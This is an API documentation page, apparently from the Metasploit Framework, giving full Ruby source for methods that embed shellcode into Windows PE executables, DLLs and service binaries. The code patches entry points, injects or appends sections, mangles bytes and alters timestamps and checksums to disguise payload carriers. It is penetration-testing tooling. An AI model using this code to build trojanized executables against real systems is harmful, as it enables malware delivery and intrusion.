Module: Msf::Util::EXE::Windows::X86::ClassMethods

Included in:
Msf::Util::EXE::Windows::X86
Defined in:
lib/msf/util/exe/windows/x86.rb

Instance Method Summary collapse

Instance Method Details

#to_win32pe(framework, code, opts = {}) ⇒ String

to_win32pe

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :sub_method (String)
  • :inject, (String)

    Code to inject into the exe

  • :template (String)
  • :arch, (Symbol)

    Set to :x86 by default

Returns:

  • (String)

Raises:

  • (RuntimeError)


42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
# File 'lib/msf/util/exe/windows/x86.rb', line 42

def to_win32pe(framework, code, opts = {})

  # For backward compatibility, this is roughly equivalent to 'exe-small' fmt
  if opts[:sub_method]
    if opts[:inject]
      raise RuntimeError, 'NOTE: using the substitution method means no inject support'
    end

    # use
    return self.to_win32pe_exe_sub(framework, code, opts)
  end

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows.exe")

  # Copy the code to a new RWX segment to allow for self-modifying encoders
  payload = win32_rwx_exec(code)

  # Create a new PE object and run through sanity checks
  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  #try to inject code into executable by adding a section without affecting executable behavior
  if opts[:inject]
    injector = Msf::Exe::SegmentInjector.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86,
        :secname  => opts[:secname]
    })
    return injector.generate_pe
  end

  text = nil
  pe.sections.each {|sec| text = sec if sec.name == ".text"}

  raise RuntimeError, "No .text section found in the template" unless text

  unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
    raise RuntimeError, "The .text section does not contain an entry point"
  end

  p_length = payload.length + 256

  # If the .text section is too small, append a new section instead
  if text.size < p_length
    appender = Msf::Exe::SegmentAppender.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86,
        :secname  => opts[:secname]
    })
    return appender.generate_pe
  end

  # Store some useful offsets
  off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
  off_beg = pe.rva_to_file_offset(text.base_rva)

  # We need to make sure our injected code doesn't conflict with the
  # the data directories stored in .text (import, export, etc)
  mines = []
  pe.hdr.opt['DataDirectory'].each do |dir|
    next if dir.v['Size'] == 0
    next unless text.contains_rva?(dir.v['VirtualAddress'])
    delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
    mines << [delta, dir.v['Size']]
  end

  # Break the text segment into contiguous blocks
  blocks = []
  bidx   = 0
  mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
    bbeg = bidx
    bend = mine[0]
    blocks << [bidx, bend-bidx] if bbeg != bend
    bidx = mine[0] + mine[1]
  end

  # Add the ending block
  blocks << [bidx, text.size - bidx] if bidx < text.size - 1

  # Find the largest contiguous block
  blocks.sort!{|a,b| b[1]<=>a[1]}
  block = blocks.first

  # TODO: Allow the entry point in a different block
  if payload.length + 256 >= block[1]
    raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
  end

  # Make a copy of the entire .text section
  data = text.read(0,text.size)

  # Pick a random offset to store the payload
  poff = rand(block[1] - payload.length - 256)

  # Flip a coin to determine if EP is before or after
  eloc = rand(2)
  eidx = nil

  # Pad the entry point with random nops
  entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

  # Pick an offset to store the new entry point
  if eloc == 0 # place the entry point before the payload
    poff += 256
    eidx = rand(poff-(entry.length + 5))
  else          # place the entry pointer after the payload
    poff -= [256, poff].min
    eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
  end

  # Relative jump from the end of the nops to the payload
  entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

  # Mangle 25% of the original executable
  1.upto(block[1] / 4) do
    data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
  end

  # Patch the payload and the new entry point into the .text
  data[block[0] + poff, payload.length] = payload
  data[block[0] + eidx, entry.length]   = entry

  # Create the modified version of the input executable
  exe = ''
  File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

  a = [text.base_rva + block.first + eidx].pack("V")
  exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
  exe[off_beg, data.length] = data

  tds = pe.hdr.file.TimeDateStamp
  exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")

  cks = pe.hdr.opt.CheckSum
  unless cks == 0
    exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
  end

  exe = clear_dynamic_base(exe, pe)
  pe.close

  exe
end

#to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) ⇒ String

to_win32pe_dccw_gdiplus_dll

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)


375
376
377
378
# File 'lib/msf/util/exe/windows/x86.rb', line 375

def to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
  set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
  to_win32pe_dll(framework, code, opts)
end

#to_win32pe_dll(framework, code, opts = {}) ⇒ String

to_win32pe_dll

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)


353
354
355
356
357
358
359
360
361
362
363
# File 'lib/msf/util/exe/windows/x86.rb', line 353

def to_win32pe_dll(framework, code, opts = {})
  flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
  set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
  opts[:exe_type] = :dll

  if opts[:inject]
    to_win32pe(framework, code, opts)
  else
    exe_sub_method(code, opts)
  end
end

#to_win32pe_exe_sub(framework, code, opts = {}) ⇒ String

to_win32pe_exe_sub

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})

Returns:

  • (String)


319
320
321
322
323
324
# File 'lib/msf/util/exe/windows/x86.rb', line 319

def to_win32pe_exe_sub(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.exe")
  opts[:exe_type] = :exe_sub
  exe_sub_method(code,opts)
end

#to_win32pe_old(framework, code, opts = {}) ⇒ Object

to_win32pe_old

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})


263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
# File 'lib/msf/util/exe/windows/x86.rb', line 263

def to_win32pe_old(framework, code, opts = {})

  payload = code.dup
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows_old.exe")

  pe = ''
  File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}

  if payload.length <= 2048
    payload << Rex::Text.rand_text(2048-payload.length)
  else
    raise RuntimeError, "The EXE generator now has a max size of 2048 " +
                        "bytes, please fix the calling module"
  end

  bo = pe.index('PAYLOAD:')
  unless bo
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
  end
  pe[bo, payload.length] = payload

  pe[136, 4] = [rand(0x100000000)].pack('V')

  ci = pe.index("\x31\xc9" * 160)
  unless ci
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
  end
  cd = pe.index("\x31\xc9" * 160, ci + 320)
  unless cd
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
  end
  rc = pe[ci+320, cd-ci-320]

  # 640 + rc.length bytes of room to store an encoded rc at offset ci
  enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
  lft = 640+rc.length - enc.length

  buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
  pe[ci, buf.length] = buf

  # Make the data section executable
  xi = pe.index([0xc0300040].pack('V'))
  pe[xi,4] = [0xe0300020].pack('V')

  # Add a couple random bytes for fun
  pe << Rex::Text.rand_text(rand(64)+4)
  pe
end

#to_win32pe_service(framework, code, opts = {}) ⇒ String

Embeds shellcode within a Windows PE file implementing the Windows service control methods.

Parameters:

  • framework (Object)
  • code (String)

    shellcode to be embedded

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :sub_method (Boolean)

    use substitution technique with a service template PE

  • :servicename (String)

    name of the service, not used in substitution technique

Returns:

  • (String)

    Windows Service PE file



337
338
339
340
341
342
# File 'lib/msf/util/exe/windows/x86.rb', line 337

def to_win32pe_service(framework, code, opts = {})
  # Allow the user to specify their own service EXE template
  set_template_default(opts, "template_x86_windows_svc.exe")
  opts[:exe_type] = :service_exe
  exe_sub_method(code,opts)
end

#to_winpe_only(framework, code, opts = {}, arch = ARCH_X86) ⇒ Object

to_winpe_only

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • arch (String) (defaults to: ARCH_X86)

    Default is “x86”



194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
# File 'lib/msf/util/exe/windows/x86.rb', line 194

def to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_#{arch}_windows.exe")

  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  exe = ''
  File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

  pe_header_size = 0x18
  entryPoint_offset = 0x28
  section_size = 0x28
  characteristics_offset = 0x24
  virtualAddress_offset = 0x0c
  sizeOfRawData_offset = 0x10

  sections_table_offset =
    pe._dos_header.v['e_lfanew'] +
    pe._file_header.v['SizeOfOptionalHeader'] +
    pe_header_size

  sections_table_characteristics_offset = sections_table_offset + characteristics_offset

  sections_header = []
  pe._file_header.v['NumberOfSections'].times do |i|
    section_offset = sections_table_offset + (i * section_size)
    sections_header << [
      sections_table_characteristics_offset + (i * section_size),
      exe[section_offset,section_size]
    ]
  end

  addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint

  # look for section with entry point
  sections_header.each do |sec|
    virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
    sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
    characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]

    if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
      importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
      if (importsTable - addressOfEntryPoint) < code.length
        #shift original entry point to prevent tables overwriting
        addressOfEntryPoint = importsTable - code.length + 4

        entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
        exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
      end
      # put this section writable
      characteristics |= 0x8000_0000
      newcharacteristics = [characteristics].pack('V')
      exe[sec[0],newcharacteristics.length] = newcharacteristics
    end
  end

  # put the shellcode at the entry point, overwriting template
  entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
  exe[entryPoint_file_offset,code.length] = code
  exe = clear_dynamic_base(exe, pe)
  exe
end